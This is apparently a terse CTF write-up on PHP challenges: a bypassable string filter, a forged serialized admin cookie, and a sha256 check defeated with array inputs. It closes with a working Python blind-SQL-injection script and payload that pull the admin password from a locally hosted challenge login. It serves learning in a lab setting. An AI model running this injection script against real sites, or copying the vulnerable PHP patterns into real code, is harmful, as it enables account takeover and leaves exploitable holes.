<?php
if (isset($_GET['bingus'])) {
$input = $_GET['bingus'];
$to_replace = 'bingus';
$clean_string = preg_replace("/$to_replace/", '', $input);
echo "<p>Your string is: $clean_string</p>";
if ($clean_string == $to_replace) {
echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>";
output_flag();
} else {
echo "<h2 class=\"answer\">Bingus <span style=\"color: red;\">IS NOT</span> your beloved</h2>";
}
}
?>
Notice that $clean_string genererated by replacing
So that we just input something that after replacing. it's equal to 'bingus'
demo:
Pretty Horrible Program 2
class User
{
public $role = 'Admin';
}
$default_user = new User;
$_COOKIE = serialize($default_user);
setcookie(
'user',
serialize($default_user)
);
$a=unserialize($_COOKIE);
echo "$_COOKIE"
Pretty Horrible Program 3
<?php
if (isset($_GET['input1']) and isset($_GET['input2'])) {
if ($_GET['input1'] == $_GET['input2']) {
print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>';
} else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) {
output_flag();
} else {
print '<h3 class="error">Your inputs don\'t match</h3>';
}
}
?>
<p>See if you can make the sha256 hashes match</p>
<br />
<a href="/php3/index.php?source=true">Source Code</a>
<form method="get">
<input type="text" required name="input1" placeholder="Input 1" />
<p>Hash: <?php if (isset($_GET['input1'])) print hash("sha256", $_GET['input1']) ?></p>
<input type="text" required name="input2" placeholder="Input 2" />
<p>Hash: <?php if (isset($_GET['input2'])) print hash("sha256", $_GET['input2']) ?></p>
<input type="submit" />
</form>
</body>
</html>
<?php
Workflow:
At first, i just try to find around the key work "SHA256 collision" but we got this one , it takes about โ3.6ร1013 years to find, so that it's not a practical option.
After that i focused on '==' in php. Searching around and i got thisand this
Now you just put [] in input and get flag.
UMass CTF
venting
This challenge ended and the website was turned off. So i build it in docker from here
when you connectn try to see history in burpsuite, you can get the link redirect to the login page
Now read the hint with 'admin' in user and password does't have fillter so that mean that may be SQLI. Exactly. that's is blind SQLI
I solve this challenge by burpsuite as same as this lab
otherway, try to bruteforce by python request:
import requests, string
url = "http://localhost:49153/fff5bf676ba8796f0c51033403b35311/login"
s = requests.session()
passwordRetrieve = ""
# ' or (select 'a' from users where username='admin' and length(Password)>36)='a
def solve():
global passwordRetrieve
index = 0
while True:
for char in string.printable:
usernamefield = "\\"
passwordfield = f"' or (select 'a' from users where username='admin' and substr(Password,{index},1)='{char}')='a"
postParam = {'user': usernamefield, 'pass': passwordfield}
response = s.post(url, data=postParam).text
if "Invalid" not in response:
passwordRetrieve += char
index += 1
print(passwordRetrieve)
break
if (index == 37):
break
SELECT * from users WHERE username='admin\' AND Password = ''or 'True'
solve()
